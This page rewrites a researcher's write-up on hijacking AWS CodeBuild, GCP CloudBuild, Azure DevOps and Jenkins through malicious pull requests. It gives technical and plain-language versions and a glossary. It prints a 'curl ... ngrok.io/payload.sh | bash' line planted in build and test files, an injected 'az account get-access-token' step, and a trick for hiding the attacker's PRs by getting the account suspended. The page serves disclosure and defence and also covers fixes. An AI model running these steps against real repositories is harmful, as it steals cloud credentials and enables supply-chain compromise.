Hijacking Cloud CI/CD Systems for Fun and Profit
Cloud-based CI/CD build systems such as AWS CodeBuild, GCP CloudBuild and Azure DevOps run untrusted pull-request code with access to an instance metadata endpoint that hands out short-lived cloud credentials. An attacker could raise a pull request that queries that endpoint and sends the credentials out, then use them to enumerate or act on the underlying cloud account.
This research focuses on very less talked CI/CD systems on GitHub. Many organisations are using the cloud to build PRs on Github which sometimes includes passing unsafe external PR code directly into their build systems.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up, by Divyanshu (@gh0st_r1d3r_0x9), examines cloud-based CI/CD build systems and how a single malicious pull request from an external contributor can be used to obtain the credentials of the cloud role attached to the build system. The author states that the research led to hijacking multiple Fortune 500 companies, and that it won the highest bounty from Google in its flagship supply chain category.
The systems in scope are the cloud build services that organisations connect directly to GitHub repositories:
- AWS CodePipeline and CodeBuild
- GCP CloudBuild
- Azure DevOps
- Jenkins, used in integration with cloud providers such as AWS and GCP
The author notes that the same approach can be extended to other cloud providers such as IBM Cloud and Alibaba Cloud.
The feature that matters is the build trigger. When a repository is wired to a cloud build service, a pull request can cause the build service to run code from the PR. The build runs under a cloud identity: an IAM role in AWS, a service role in GCP, a service identity or service connection in Azure. That identity usually has permissions on other cloud services (artifact storage, secret managers, container registries, deployment targets). The report's central claim is that in AWS and GCP this identity can be reached from inside the build through the instance metadata endpoint, and then exfiltrated.
What modern CI/CD systems look like
The report describes modern CI/CD as generally either completely on the cloud or coupled with the cloud.

The intermediate layer can be GitHub Actions, GitLab Actions, or an intermediate build provider such as Jenkins. The build layer can be AWS CodeBuild and CodePipeline, GCP CloudBuild, or Azure DevOps.
The report draws an important distinction between two configurations:
- Intermediate providers such as GitHub Actions. GitHub has a protection against first-time contributors: the workflow must be approved by a collaborator or owner of the target repository before it runs. For trigger-based approaches, secrets and other sensitive information are not shared with the PR, so the attack generally stops. The report notes that a past legitimate PR can help circumvent GitHub Actions protections.
- Direct cloud-based build systems. Anyone on the internet can browse the repository looking for
buildspec.yml(AWS),cloudbuild..yml(GCP, spelled this way in the original),azure-pipelines.yml(Azure DevOps), or any other CI config file that allows builds on the cloud. Old PRs on GitHub can confirm whether build checks run for first-time contributors. When they do, any fork-based PR triggers the build systems, which makes the attack easy.
Setup
For the AWS demonstration the author connected a personal repository to build any PR using CodeBuild on AWS. The demo application has:
- a test case in the test folder called
test-application.py - the main application code in
application.pyin the root directory - CodeBuild used to validate PRs against the repository
The author considers two cases: one where the content of buildspec.yml is known, and one where it is not exposed in the source code.
For exfiltration the author uses an ngrok endpoint.
Finding it
The reasoning starts from how CodeBuild authenticates to other AWS services. A CodeBuild project has an IAM role attached, and that role can be granted permissions on other AWS services. As with any IAM role, STS credentials for it can be obtained from an internal metadata endpoint at [redacted], which the author says is mentioned in the AWS documentation somewhat deep in the text. The key observation is that this metadata endpoint is exposed to code running inside the CodeBuild project. If untrusted code runs in the build, it can query the endpoint, obtain STS tokens, and exfiltrate them out of the build container.
The same pattern appears in GCP: the instance metadata endpoint at [redacted], path computeMetadata/v1/instance/service-accounts/default/token, returns short-lived (about one hour) access tokens, and it is exposed to code running inside CloudBuild.
For Azure the picture is different. Access to the IMDS service is restricted by an Azure agent running on the build VM, so code in the build cannot simply query any metadata endpoint. The author also reports that the research could not reliably exfiltrate SYSTEM_ACCESSTOKEN from the Azure build environment, although it succeeded roughly 50% of the time from Linux and Windows build environments. In some instances the agent cached temporary access tokens under the work/_temp directory while building artifacts, so SYSTEM_ACCESSTOKEN and Personal Access Tokens might be obtainable from _temp when not exposed otherwise.
Exploitation
AWS: how CodePipeline and CodeBuild fit together
In AWS, CI/CD generally consists of CodePipeline and CodeBuild. CodePipeline is a single unit made of stages, called build stages. A build stage contains a unique CodeBuild project, so running a stage indirectly runs a CodeBuild project. A pipeline can therefore contain multiple stages and multiple CodeBuild projects linked to a single pipeline trigger.
CodeBuild is described by AWS as a managed integration service that runs tests and build scripts on AWS. It supports integration with other AWS services: a single CodeBuild project might use S3 for artifact storage, Secrets Manager for secrets, and ECS for deployment. The author notes that this might be broken down into multiple CodeBuild projects as a best practice, but the overall point stands: other AWS services can be invoked directly from a CodeBuild project, through the CodeBuild IAM role.
Step 1: Case I, buildspec.yml is known
The demo buildspec.yml has a pre_build step and a build step that execute a set of Python files.
To exploit it, the author forks the project, creates a commit that adds the following line to buildspec.yml, and opens a PR to the master repository:
curl https://xxxxxxxxxxxxxxxxx.ngrok.io/payload.sh | bash
The line downloads a script from the attacker's ngrok endpoint and pipes it into bash inside the build. Once the PR is raised, CodeBuild is triggered and the modified buildspec.yml with the payload is executed.

Step 2: the payload queries metadata and exfiltrates
The core of the exploit is the content of payload.sh. The report describes it as a file that queries instance metadata and exfiltrates the result back to the attacker's server.

Step 3: decode the exfiltrated value
The exfiltrated value is base64 encoded. When decoded, it is STS tokens valid for one hour.

Step 4: enumerate the account
With the STS tokens, the attacker can enumerate the AWS account where CodeBuild is running. The author notes that big projects commonly use an S3 bucket for artifacts and Secrets Manager to fetch secrets during the build, both of which can be enumerated and from which sensitive information can be obtained. Overly permissive CodeBuild roles make this worse.
Step 5: Case II, buildspec.yml is not exposed
When buildspec.yml is not public, the author focuses on test cases. External PRs to open source applications are generally validated by running unit tests, which act as an entry point. The attacker adds a commit in the corresponding language that executes:
curl https://xxxx-zzz-xxx-zzz-xxx.in.ngrok.io/payload.sh | bash
The author jokes that a determined attacker can add the line to all files. For this case the lines are added to test_application.py. The rest of the steps are the same: open the PR, obtain the STS tokens, and enumerate the underlying CodeBuild AWS account.
GCP: CloudBuild
GCP's CI/CD system generally consists of CloudBuild, which the author describes as more mature than AWS in security terms. GCP describes it as a fully managed continuous integration, delivery and deployment platform for fast, consistent, reliable automated builds. A project configures its GitHub repository to use CloudBuild, and building and deployment are handled for it.
As AWS uses an IAM role for CodeBuild, GCP uses a service role with CloudBuild to connect to other GCP services. Obtaining metadata credentials for the service role in CloudBuild would allow access to other GCP services.
GCP offers Comment Control, where collaborators or project owners must comment /gcbrun to trigger a build against a PR. This inherently prevents anyone on the internet from triggering the build systems.
Step 1: query the metadata endpoint
The instance metadata is at [redacted], at the path computeMetadata/v1/instance/service-accounts/default/token, and returns short-lived (about one hour) access tokens. This endpoint is exposed to code running inside CloudBuild.
Step 2: modify a file executed by CloudBuild
The attacker creates a PR and modifies any file that CloudBuild will execute, making sure the payload runs. In some cases it is useful to edit cloudbuild.yml and add a stage that curls a file from the attacker's server and executes it in the pipeline.
The contents of file.sh query instance metadata and send the access token back to the attacker's server.
Step 3: fall back to referenced files
Adding a stage to cloudbuild.yml does not always work. In those situations the author recommends modifying any file referenced by cloudbuild.yml and ensuring the content of file.sh gets executed.
Step 4: use the token
Once access tokens are obtained, they can be used directly with gcloud to view all projects linked with those access tokens.
Azure: Azure DevOps
Azure DevOps is Microsoft's equivalent cloud build system and is described as integral for the majority of Windows-based applications. Azure uses service identities to manage pipeline permissions. A service connection can be created using Managed Identity and its name passed to Azure pipelines, which then run Azure commands against other Azure services.
The author reports the following observations and techniques:
- The research could not reliably exfiltrate
SYSTEM_ACCESSTOKENfrom the Azure build environment. - Under certain conditions the CI part for Azure DevOps runs in a container inside a VM in more restrictive environments. In those instances the author circumvented the restriction by removing the
azure-pipelinesconfiguration that specifies the container image, which effectively allowed executing a payload on the VM, because the source of truth for the pipeline configuration is taken from the PR. SYSTEM_ACCESSTOKENwas still exfiltrated roughly 50% of the time from Linux and Windows build environments.- Access to IMDS for Azure is restricted by an Azure agent running on the build VM, so metadata endpoints cannot simply be queried from build code. The author also noticed that in some instances the agent cached temporary access tokens under the
work/_tempdirectory while building artifacts, soSYSTEM_ACCESSTOKENand Personal Access Tokens might be obtainable from_tempwhen not exposed otherwise. - A definitive way to hijack an Azure build is to look for repositories that use
AzureCli@2in pipeline build steps. Injecting otherazcommands, such asaz account get-access-token, returns access tokens for the subscription in question, which can then be exfiltrated.
With the access token, the attacker can impersonate the credentials of the target Azure subscription and move laterally into Azure. The author states that this attack is theoretically possible but at the same time scarce in real life.
Jenkins
Jenkins suffers from the same type of attack. DevOps engineers use Jenkins in integration with cloud providers such as AWS and GCP, which introduces the same range of attacks. The attacker creates a PR that dumps all environment variables and queries metadata endpoints ([redacted] in AWS) to retrieve STS tokens, which can then be used to move laterally into AWS.
Covering tracks
Any PR raised is visible publicly on GitHub and to the target GitHub account. By default a PR cannot be deleted from the internet. The author describes a twist: for GitHub accounts suspended by GitHub, all of their PRs are automatically deleted and removed from the internet. To hide activity, an attacker needs the GitHub account suspended or flagged, which removes the exploit PRs from public view.
The author adds a "Pro Tip": an organisation on GitHub is very proactive in reporting accounts, and sharing "some stuff" in an Issue will get an account suspended within 12 hours, making the exploit invisible on GitHub.
The only way for an organisation to find out it was targeted is to check GitHub logs from a SIEM, because the PR is removed from the GitHub UI.
Root cause
The design issue is that cloud build services expose the instance metadata endpoint to code running inside the build, and that build code from an external PR is executed under a cloud role with permissions on other services. In AWS the endpoint is [redacted]; in GCP it is [redacted] at computeMetadata/v1/instance/service-accounts/default/token. The build role's credentials are therefore reachable by anyone whose code runs in the build, and the build can send them out.
The report states that CodeBuild by default has no protections against this and that this is how CodeBuild is supposed to work. The existing defences that would have stopped it are not enabled or not applicable in the affected setups:
- GitHub Actions approval for first-time contributors does not apply when the cloud build service is triggered directly by the PR.
- GCP Comment Control (
/gcbrun) prevents the attack, but only if it is enabled. - Azure restricts IMDS access through an agent on the build VM, which the author says largely stops these issues, but cached tokens under
work/_tempand theAzureCli@2pattern remain paths.
Impact
The technique gives external attackers access to the underlying cloud service accounts. Most CI/CD pipelines have direct access to their container registry to upload images as part of production releases, along with other services used for releases such as storage and secret managers. Once the underlying role is compromised, the attacker can push directly to the container registry, which could enable supply chain attacks affecting all customers.
The author states the research would have allowed pushing malicious code into various GitHub projects with 1k stars or more, with a large blast radius across all major cloud providers. The CodeBuild method was reported to the open-source project FoundationDB, managed via Apple. Companies reported to include Google and Apple. For Google, around 6-7 of their open source repositories were found using the vulnerable CloudBuild setup, and it was swiftly fixed.
Fix
For AWS, the report says CodeBuild has no default protection and recommends coupling CodeBuild with GitHub Actions so that external PRs from first-time contributors are handled by GitHub Actions, acting as a first layer of defence. It also recommends an extremely tight scope on the build IAM role, so that leaked role credentials cannot do much harm.
For GCP, the recommended prevention is Comment Control, where a collaborator or owner comments /gcbrun to trigger the build, acting as an effective first layer of defence.
For detection, the report recommends ingesting GitHub logs for each PR, since the PR may be removed from the GitHub UI after an account suspension and only SIEM logs would show it.
For Azure, the report does not give a specific fix beyond the observation that the Azure agent restricts IMDS access.
Variants to test
- Direct cloud build triggered by a fork PR. Look for
buildspec.yml,cloudbuild..yml,azure-pipelines.yml, or other CI config files in public repositories, and check old PRs to see whether builds run for first-time contributors. A positive result is a build that runs on a fork PR without approval. - Metadata endpoint reachability. In a build you control, request
[redacted](AWS) or[redacted]/computeMetadata/v1/instance/service-accounts/default/token(GCP). A positive result is a response containing credentials or a token. - Test-case entry point when the build config is hidden. Add the
curl ... | bashline to a test file such astest_application.py. A positive result is the payload executing during PR validation. - Files referenced by the build config. When editing the build config does not work, modify a file the config references. A positive result is the payload running through the referenced file.
- Azure container configuration removal. Remove the
azure-pipelinesconfiguration that specifies the container image. A positive result is the payload executing on the VM rather than in the container. - Azure
AzureCli@2pipelines. Look for repositories usingAzureCli@2in build steps and injectaz account get-access-token. A positive result is an access token for the subscription. - Azure
work/_temp. Inspect thework/_tempdirectory during a build. A positive result is cached temporary access tokens,SYSTEM_ACCESSTOKEN, or Personal Access Tokens. - Jenkins integrated with a cloud provider. Create a PR that dumps environment variables and queries
[redacted]. A positive result is STS tokens usable against the cloud account. - Account enumeration after credential theft. Use the stolen STS tokens or access tokens to enumerate S3 buckets, Secrets Manager, container registries, or, with
gcloud, the projects linked to the token. A positive result is access to sensitive resources beyond the build itself.
What happened, in plain words
Imagine a company that lets anyone in the street drop a letter into a suggestion box, and every time a letter arrives, a member of staff opens it and follows whatever instructions are inside. That is roughly what a cloud build system does when it is wired directly to a public code repository. A stranger can send in a proposed change (a pull request), and the build system will run the code in that change automatically, using the company's own keys to the building.
This write-up, by Divyanshu (@gh0st_r1d3r_0x9), is about exactly that. The author looked at cloud-based CI/CD build systems, which are the automated factories that test and ship software, and found that a single malicious pull request from an outside contributor can be used to steal the credentials of the cloud identity that the build system runs as. With those credentials, an attacker can reach the company's other cloud services: storage buckets, secret stores, container registries, deployment targets.
The author says the research led to hijacking multiple Fortune 500 companies, and that it won the highest bounty from Google in its flagship supply chain category.
The systems in scope are the cloud build services that organisations connect directly to GitHub repositories:
- AWS CodePipeline and CodeBuild
- GCP CloudBuild
- Azure DevOps
- Jenkins, used in integration with cloud providers such as AWS and GCP
The author notes that the same approach can be extended to other cloud providers such as IBM Cloud and Alibaba Cloud.
The feature that matters is the build trigger. When a repository is wired to a cloud build service, a pull request can cause the build service to run code from the PR. The build runs under a cloud identity: an IAM role in AWS, a service role in GCP, a service identity or service connection in Azure. That identity usually has permissions on other cloud services (artifact storage, secret managers, container registries, deployment targets). The report's central claim is that in AWS and GCP this identity can be reached from inside the build through the instance metadata endpoint, and then exfiltrated.
Before going further, a few words on the words. A pull request (PR) is a proposal to change files in someone else's project. You copy the project (a fork), make your change, and ask the original owner to pull your change in. A CI/CD system (continuous integration and continuous delivery) is the machinery that automatically builds, tests and ships software whenever code changes. A cloud provider is a company that rents out computers and services over the internet, such as AWS (Amazon), GCP (Google) and Azure (Microsoft). A credential is anything that proves who you are, like a password or a key. A token is a temporary credential, a bit like a cloakroom ticket: it is short-lived and it lets you collect something specific. Exfiltration means smuggling data out of a system to a place the attacker controls.
What modern CI/CD systems look like
The report describes modern CI/CD as generally either completely on the cloud or coupled with the cloud.

The intermediate layer can be GitHub Actions, GitLab Actions, or an intermediate build provider such as Jenkins. The build layer can be AWS CodeBuild and CodePipeline, GCP CloudBuild, or Azure DevOps.
Think of it as a kitchen with two rooms. In the first room, a helper (GitHub Actions, GitLab Actions, Jenkins) receives the order and does some prep. In the second room, the actual cloud factory (CodeBuild, CloudBuild, Azure DevOps) cooks the meal using the restaurant's own pantry keys. If the helper room is careful about who gets to place orders, the kitchen is safe. If the order goes straight to the kitchen, anyone off the street can order.
The report draws an important distinction between two configurations:
- Intermediate providers such as GitHub Actions. GitHub has a protection against first-time contributors: the workflow must be approved by a collaborator or owner of the target repository before it runs. For trigger-based approaches, secrets and other sensitive information are not shared with the PR, so the attack generally stops. The report notes that a past legitimate PR can help circumvent GitHub Actions protections. In plain terms: the doorman checks your ID the first time you come in, and the kitchen does not hand out its keys to strangers.
- Direct cloud-based build systems. Anyone on the internet can browse the repository looking for
buildspec.yml(AWS),cloudbuild..yml(GCP, spelled this way in the original),azure-pipelines.yml(Azure DevOps), or any other CI config file that allows builds on the cloud. Old PRs on GitHub can confirm whether build checks run for first-time contributors. When they do, any fork-based PR triggers the build systems, which makes the attack easy. In plain terms: the kitchen door is open to the street, and the recipe book is public, so you can see exactly which dishes get cooked and when.
A config file here is a plain text file that tells the build system what to do: which commands to run, in which order. Because it lives in the repository, anyone can read it. That is why the author can tell, just by browsing, whether a project is a good target.
Setup
For the AWS demonstration the author connected a personal repository to build any PR using CodeBuild on AWS. The demo application has:
- a test case in the test folder called
test-application.py - the main application code in
application.pyin the root directory - CodeBuild used to validate PRs against the repository
The author considers two cases: one where the content of buildspec.yml is known, and one where it is not exposed in the source code.
For exfiltration the author uses an ngrok endpoint.
ngrok is a service that gives your own computer a public web address on the internet, even if it sits behind a home router. It is like a temporary shop window on a busy street that leads back to your living room. Attackers use it so that a build running in the cloud can send stolen data back to a machine they control. The x characters in the hostnames are placeholders: the report does not give the real addresses.
An IAM policy is a written list of what a cloud identity is allowed to do, for example "may read this bucket, may not delete anything".
Finding it
The reasoning starts from how CodeBuild authenticates to other AWS services. A CodeBuild project has an IAM role attached, and that role can be granted permissions on other AWS services. As with any IAM role, STS credentials for it can be obtained from an internal metadata endpoint at [redacted], which the author says is mentioned in the AWS documentation somewhat deep in the text. The key observation is that this metadata endpoint is exposed to code running inside the CodeBuild project. If untrusted code runs in the build, it can query the endpoint, obtain STS tokens, and exfiltrate them out of the build container.
Let us unpack that. An IAM role is a hat that a program can wear inside AWS. The hat comes with permissions. STS (Security Token Service) is the AWS service that hands out temporary credentials for wearing that hat. A metadata endpoint is a small web server that only the machine itself can reach, at a special address that starts with 169.254. It answers questions like "what is my name and what keys do I have?". The address [redacted] is the one AWS uses for this in CodeBuild. Because the build code runs on that same machine, it can ask the question too, and the answer contains the keys. The author's point is that this is by design, not a bug in the endpoint itself: the endpoint is meant to be reachable from the machine, and the problem is that untrusted code is allowed to run on the machine.
The same pattern appears in GCP: the instance metadata endpoint at [redacted], path computeMetadata/v1/instance/service-accounts/default/token, returns short-lived (about one hour) access tokens, and it is exposed to code running inside CloudBuild. A path is the part of a web address after the hostname, like the aisle and shelf number in a shop. Here it points to the shelf where the token is kept.
For Azure the picture is different. Access to the IMDS service is restricted by an Azure agent running on the build VM, so code in the build cannot simply query any metadata endpoint. IMDS stands for Instance Metadata Service, the general name for that same kind of local question-and-answer server. A VM is a virtual machine, a computer simulated inside a bigger computer. An agent is a small helper program that runs on the machine and does jobs on behalf of the platform. Here the agent acts like a guard standing in front of the noticeboard, so the build code cannot read the notices directly.
The author also reports that the research could not reliably exfiltrate SYSTEM_ACCESSTOKEN from the Azure build environment, although it succeeded roughly 50% of the time from Linux and Windows build environments. SYSTEM_ACCESSTOKEN is a special environment variable that Azure pipelines use to let build steps talk back to Azure DevOps. An environment variable is a named value that a program can read, like a sticky note on the fridge. In some instances the agent cached temporary access tokens under the work/_temp directory while building artifacts, so SYSTEM_ACCESSTOKEN and Personal Access Tokens might be obtainable from _temp when not exposed otherwise. A Personal Access Token (PAT) is a long-lived password-like token that a person creates to let tools act as them. A cache is a store of things kept around for speed, like a drawer of pre-made sandwiches; if the drawer is not locked, anyone passing by can take one.
Exploitation
AWS: how CodePipeline and CodeBuild fit together
In AWS, CI/CD generally consists of CodePipeline and CodeBuild. CodePipeline is a single unit made of stages, called build stages. A build stage contains a unique CodeBuild project, so running a stage indirectly runs a CodeBuild project. A pipeline can therefore contain multiple stages and multiple CodeBuild projects linked to a single pipeline trigger. Think of a pipeline as an assembly line with several stations, and each station is a CodeBuild project with its own set of keys.
CodeBuild is described by AWS as a managed integration service that runs tests and build scripts on AWS. It supports integration with other AWS services: a single CodeBuild project might use S3 for artifact storage, Secrets Manager for secrets, and ECS for deployment. The author notes that this might be broken down into multiple CodeBuild projects as a best practice, but the overall point stands: other AWS services can be invoked directly from a CodeBuild project, through the CodeBuild IAM role. S3 is AWS's file storage service, like a giant shared folder. Secrets Manager is a locked cabinet for passwords and keys. ECS is AWS's service for running containers, which are packaged applications.
Step 1: Case I, buildspec.yml is known
The demo buildspec.yml has a pre_build step and a build step that execute a set of Python files. A buildspec is the recipe file CodeBuild reads. pre_build is the preparation step, build is the main cooking step.
To exploit it, the author forks the project, creates a commit that adds the following line to buildspec.yml, and opens a PR to the master repository:
curl https://xxxxxxxxxxxxxxxxx.ngrok.io/payload.sh | bash
Line by line:
curlis a command-line tool that fetches a web address, like a browser does, but prints the result to the screen instead of showing a page.https://xxxxxxxxxxxxxxxxx.ngrok.io/payload.shis the address of a script hosted on the attacker's ngrok endpoint. Thexcharacters are placeholders; the report does not give the real hostname.|is a pipe. It takes whatever the left side produced and feeds it as input to the right side, like passing a bowl of ingredients to the next cook.bashis the standard Linux shell, the program that reads and runs commands. So the whole line means: download the script and immediately run it.
The line downloads a script from the attacker's ngrok endpoint and pipes it into bash inside the build. Once the PR is raised, CodeBuild is triggered and the modified buildspec.yml with the payload is executed. The reason for this step is simple: the attacker needs their own code to run inside the build machine, and the build machine is the only place from which the metadata endpoint can be reached.

Step 2: the payload queries metadata and exfiltrates
The core of the exploit is the content of payload.sh. The report describes it as a file that queries instance metadata and exfiltrates the result back to the attacker's server. In plain words: the script walks up to the local noticeboard, asks for the keys, and posts a copy to the attacker's shop window.

Step 3: decode the exfiltrated value
The exfiltrated value is base64 encoded. When decoded, it is STS tokens valid for one hour. Base64 is a way of writing any data using only letters, digits and a couple of symbols, so it can travel safely through places that only expect text. It is not encryption: anyone can decode it, it just looks scrambled. The one-hour lifetime is a deliberate safety feature of temporary credentials, but one hour is plenty of time to do damage.

Step 4: enumerate the account
With the STS tokens, the attacker can enumerate the AWS account where CodeBuild is running. To enumerate means to list what exists, like walking through a house and writing down every room and cupboard. The author notes that big projects commonly use an S3 bucket for artifacts and Secrets Manager to fetch secrets during the build, both of which can be enumerated and from which sensitive information can be obtained. Overly permissive CodeBuild roles make this worse. An artifact is a file produced by a build, such as a compiled program or a packaged image.
Step 5: Case II, buildspec.yml is not exposed
When buildspec.yml is not public, the author focuses on test cases. External PRs to open source applications are generally validated by running unit tests, which act as an entry point. A unit test is a small automatic check that verifies one piece of code works. Because the project wants to test every PR, it runs the tests, and the tests are code, so code from the PR gets executed. The attacker adds a commit in the corresponding language that executes:
curl https://xxxx-zzz-xxx-zzz-xxx.in.ngrok.io/payload.sh | bash
This is the same download-and-run line as before, only with a different placeholder hostname. The author jokes that a determined attacker can add the line to all files. For this case the lines are added to test_application.py. The rest of the steps are the same: open the PR, obtain the STS tokens, and enumerate the underlying CodeBuild AWS account. The reason for targeting tests is that even when the recipe file is hidden, the tests are still run, so they are a side door into the same kitchen.
GCP: CloudBuild
GCP's CI/CD system generally consists of CloudBuild, which the author describes as more mature than AWS in security terms. GCP describes it as a fully managed continuous integration, delivery and deployment platform for fast, consistent, reliable automated builds. A project configures its GitHub repository to use CloudBuild, and building and deployment are handled for it.
As AWS uses an IAM role for CodeBuild, GCP uses a service role with CloudBuild to connect to other GCP services. Obtaining metadata credentials for the service role in CloudBuild would allow access to other GCP services. A service role is GCP's version of the same hat: an identity that a program wears, with permissions attached.
GCP offers Comment Control, where collaborators or project owners must comment /gcbrun to trigger a build against a PR. This inherently prevents anyone on the internet from triggering the build systems. Think of it as a moderator who must type a magic word before the kitchen starts cooking for a stranger.
Step 1: query the metadata endpoint
The instance metadata is at [redacted], at the path computeMetadata/v1/instance/service-accounts/default/token, and returns short-lived (about one hour) access tokens. This endpoint is exposed to code running inside CloudBuild. The address is the same local noticeboard idea as in AWS, just at a different number and with a different shelf label.
Step 2: modify a file executed by CloudBuild
The attacker creates a PR and modifies any file that CloudBuild will execute, making sure the payload runs. In some cases it is useful to edit cloudbuild.yml and add a stage that curls a file from the attacker's server and executes it in the pipeline. YAML is a text format for configuration files, using indentation to show structure, like an outline with sub-points. A stage is one step in the pipeline.
The contents of file.sh query instance metadata and send the access token back to the attacker's server.
Step 3: fall back to referenced files
Adding a stage to cloudbuild.yml does not always work. In those situations the author recommends modifying any file referenced by cloudbuild.yml and ensuring the content of file.sh gets executed. A referenced file is a file that the config points to, for example a script the config says to run. If you cannot change the recipe, change an ingredient the recipe calls for.
Step 4: use the token
Once access tokens are obtained, they can be used directly with gcloud to view all projects linked with those access tokens. gcloud is Google's command-line tool for managing GCP, the equivalent of a remote control for the cloud account.
Azure: Azure DevOps
Azure DevOps is Microsoft's equivalent cloud build system and is described as integral for the majority of Windows-based applications. Azure uses service identities to manage pipeline permissions. A service connection can be created using Managed Identity and its name passed to Azure pipelines, which then run Azure commands against other Azure services. A service connection is a saved link between the pipeline and an Azure resource, so the pipeline can act on it without storing a password. Managed Identity is an identity that Azure creates and rotates for you.
The author reports the following observations and techniques:
- The research could not reliably exfiltrate
SYSTEM_ACCESSTOKENfrom the Azure build environment. - Under certain conditions the CI part for Azure DevOps runs in a container inside a VM in more restrictive environments. In those instances the author circumvented the restriction by removing the
azure-pipelinesconfiguration that specifies the container image, which effectively allowed executing a payload on the VM, because the source of truth for the pipeline configuration is taken from the PR. A container image is a packaged, ready-to-run filesystem and program. SYSTEM_ACCESSTOKENwas still exfiltrated roughly 50% of the time from Linux and Windows build environments.- Access to IMDS for Azure is restricted by an Azure agent running on the build VM, so metadata endpoints cannot simply be queried from build code. The author also noticed that in some instances the agent cached temporary access tokens under the
work/_tempdirectory while building artifacts, soSYSTEM_ACCESSTOKENand Personal Access Tokens might be obtainable from_tempwhen not exposed otherwise. - A definitive way to hijack an Azure build is to look for repositories that use
AzureCli@2in pipeline build steps. Injecting otherazcommands, such asaz account get-access-token, returns access tokens for the subscription in question, which can then be exfiltrated.AzureCli@2is a pre-built pipeline step that runs Azure command-line commands.azis the Azure command-line tool.az account get-access-tokenasks Azure for a token for the current subscription. A subscription is the billing and permission boundary for a set of Azure resources.
With the access token, the attacker can impersonate the credentials of the target Azure subscription and move laterally into Azure. To move laterally means to go from one compromised place to other places nearby, like a burglar who gets into one office and then walks the corridor trying other doors. The author states that this attack is theoretically possible but at the same time scarce in real life.
Jenkins
Jenkins suffers from the same type of attack. Jenkins is a popular, self-hosted automation server. DevOps engineers use Jenkins in integration with cloud providers such as AWS and GCP, which introduces the same range of attacks. The attacker creates a PR that dumps all environment variables and queries metadata endpoints ([redacted] in AWS) to retrieve STS tokens, which can then be used to move laterally into AWS. To dump environment variables means to print all those sticky notes on the fridge into a file or a message, so the attacker can read them later.
Covering tracks
Any PR raised is visible publicly on GitHub and to the target GitHub account. By default a PR cannot be deleted from the internet. The author describes a twist: for GitHub accounts suspended by GitHub, all of their PRs are automatically deleted and removed from the internet. To hide activity, an attacker needs the GitHub account suspended or flagged, which removes the exploit PRs from public view. A suspended account is one that the platform has switched off, usually for breaking its rules.
The author adds a "Pro Tip": an organisation on GitHub is very proactive in reporting accounts, and sharing "some stuff" in an Issue will get an account suspended within 12 hours, making the exploit invisible on GitHub. An Issue is a public discussion thread attached to a repository.
The only way for an organisation to find out it was targeted is to check GitHub logs from a SIEM, because the PR is removed from the GitHub UI. A SIEM (Security Information and Event Management) is a system that collects logs from many places and lets you search them. A log is a record of events, like a diary the system writes automatically. The UI is the user interface, the pages you see in the browser.
Root cause
The design issue is that cloud build services expose the instance metadata endpoint to code running inside the build, and that build code from an external PR is executed under a cloud role with permissions on other services. In AWS the endpoint is [redacted]; in GCP it is [redacted] at computeMetadata/v1/instance/service-accounts/default/token. The build role's credentials are therefore reachable by anyone whose code runs in the build, and the build can send them out.
The report states that CodeBuild by default has no protections against this and that this is how CodeBuild is supposed to work. The existing defences that would have stopped it are not enabled or not applicable in the affected setups:
- GitHub Actions approval for first-time contributors does not apply when the cloud build service is triggered directly by the PR.
- GCP Comment Control (
/gcbrun) prevents the attack, but only if it is enabled. - Azure restricts IMDS access through an agent on the build VM, which the author says largely stops these issues, but cached tokens under
work/_tempand theAzureCli@2pattern remain paths.
Impact
The technique gives external attackers access to the underlying cloud service accounts. Most CI/CD pipelines have direct access to their container registry to upload images as part of production releases, along with other services used for releases such as storage and secret managers. A container registry is a library of container images, like a warehouse of ready-made boxes. Once the underlying role is compromised, the attacker can push directly to the container registry, which could enable supply chain attacks affecting all customers. A supply chain attack is one where you tamper with something upstream, so that everyone downstream receives the bad version without knowing.
The author states the research would have enabled pushing malicious code into various GitHub projects with 1k starts+, with a huge blast radius on all major cloud providers. A star on GitHub is a bookmark and a rough popularity signal. Blast radius means how much damage one incident can cause.
The CodeBuild method was reported to the open-source project FoundationDB, managed via Apple. Companies reported to include Google and Apple. For Google, around 6-7 of their open source repositories were found using the vulnerable CloudBuild setup, and it was swiftly fixed.
Fix
For AWS, the report says CodeBuild has no default protection and recommends coupling CodeBuild with GitHub Actions so that external PRs from first-time contributors are handled by GitHub Actions, acting as a first layer of defence. It also recommends an extremely tight scope on the build IAM role, so that leaked role credentials cannot do much harm. Tight scope means giving the role the smallest set of permissions it needs, and no more.
For GCP, the recommended prevention is Comment Control, where a collaborator or owner comments /gcbrun to trigger the build, acting as an effective first layer of defence.
For detection, the report recommends ingesting GitHub logs for each PR, since the PR may be removed from the GitHub UI after an account suspension and only SIEM logs would show it.
Variants to test
- Direct cloud build triggered by a fork PR. Look for
buildspec.yml,cloudbuild..yml,azure-pipelines.yml, or other CI config files in public repositories, and check old PRs to see whether builds run for first-time contributors. A positive result is a build that runs on a fork PR without approval. - Metadata endpoint reachability. In a build you control, request
[redacted](AWS) or[redacted]/computeMetadata/v1/instance/service-accounts/default/token(GCP). A positive result is a response containing credentials or a token. - Test-case entry point when the build config is hidden. Add the
curl ... | bashline to a test file such astest_application.py. A positive result is the payload executing during PR validation. - Files referenced by the build config. When editing the build config does not work, modify a file the config references. A positive result is the payload running through the referenced file.
- Azure container configuration removal. Remove the
azure-pipelinesconfiguration that specifies the container image. A positive result is the payload executing on the VM rather than in the container. - Azure
AzureCli@2pipelines. Look for repositories usingAzureCli@2in build steps and injectaz account get-access-token. A positive result is an access token for the subscription. - Azure
work/_temp. Inspect thework/_tempdirectory during a build. A positive result is cached temporary access tokens,SYSTEM_ACCESSTOKEN, or Personal Access Tokens. - Jenkins integrated with a cloud provider. Create a PR that dumps environment variables and queries
[redacted]. A positive result is STS tokens usable against the cloud account. - Account enumeration after credential theft. Use the stolen STS tokens or access tokens to enumerate S3 buckets, Secrets Manager, container registries, or, with
gcloud, the projects linked to the token. A positive result is access to sensitive resources beyond the build itself.
Glossary
- API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
- Artifact: a file produced by a build, such as a compiled program or a packaged image.
- AWS: Amazon Web Services, Amazon's cloud platform.
- Azure: Microsoft's cloud platform.
- Azure DevOps: Microsoft's cloud build and delivery service.
- Base64: a text encoding that turns any data into letters, digits and a few symbols; not encryption, anyone can decode it.
- bash: the standard Linux command shell that reads and runs commands.
- Blast radius: how much damage one incident can cause.
- Build: the automated process of turning source code into a runnable product.
- Buildspec: the recipe file AWS CodeBuild reads to know what to run.
